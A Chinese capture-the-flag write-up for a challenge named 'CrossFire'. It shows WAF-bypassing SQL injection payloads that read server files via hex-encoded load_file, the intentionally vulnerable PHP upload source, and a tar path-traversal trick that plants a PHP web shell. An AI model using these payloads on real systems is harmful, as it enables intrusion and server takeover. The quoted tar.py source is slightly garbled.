CrossFire

这里的id存在SQL注入，黑盒存在关键字转空字符串WAF，以及字符串过滤，使用十六进制读取文件：

-1' ununionion selselectect load_file(0x2f7661722f7777772f68746d6c2f696e6465782e706870)%23

index.php：

<?php
    error_reporting(0);
    session_start();
    include('config.php');

    $upload = 'upload/'.md5("shuyu".$_SERVER['REMOTE_ADDR']);
    @mkdir($upload);
    file_put_contents($upload.'/index.html', '');
    
    if(isset($_POST['submit'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
        
            $filename=addslashes($_FILES['file']['name']);
            $sql="insert into img (filename) values ('$filename')";
            $conn->query($sql);

            $sql="select id from img where filename='$filename'";
            $result=$conn->query($sql);

            if ($result->num_rows > 0) {
                while($row = $result->fetch_assoc()) {
                    $id=$row["id"];
                }

            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            header("Location: index.php?id=$id");
            }
        }
    }

    elseif (isset($_GET['id'])){
        $id=addslashes($_GET['id']);
        $sql="select filename from img where id=$id";
        $result=$conn->query($sql);
        if ($result->num_rows > 0) {
            while($row = $result->fetch_assoc()) {
                $filename=$row["filename"];
            }
        $img=$upload.'/'.$filename;
        echo "<img src='$img'/>";
        }
    }

    elseif (isset($_POST['submit1'])){
        $allow_type=array("jpg","gif","png","bmp","tar","zip");
        $fileext = substr(strrchr($_FILES['file']['name'], '.'), 1);
        if ($_FILES["file"]["error"] > 0 && !in_array($fileext,$type) && $_FILES["file"]["size"] > 204800){
            die('upload error');
        }else{
            $filename=addslashes($_FILES['file']['name']);
            move_uploaded_file($_FILES["file"]["tmp_name"],$upload.'/'.$filename);
            @exec("cd /tmp&&python3 /tar.py ".escapeshellarg('/var/www/html/'.$upload.'/'.$filename));
            }
        }
?>

存在tar.py文件，读取文件：

-1' ununionion selselectect load_file(0x2f7461722e7079)%23

源码

import sysn
tar = tarfile.open(sys.argv[1], "r")
tar.extractall()

写的是有关tar文件解压过程

tar cvf exp22.tar ../../../var/www/html/upload/shell.php -P

压缩一个文件

最后上传，然后解压，最后在upload/shell.php里面getshell，执行readflag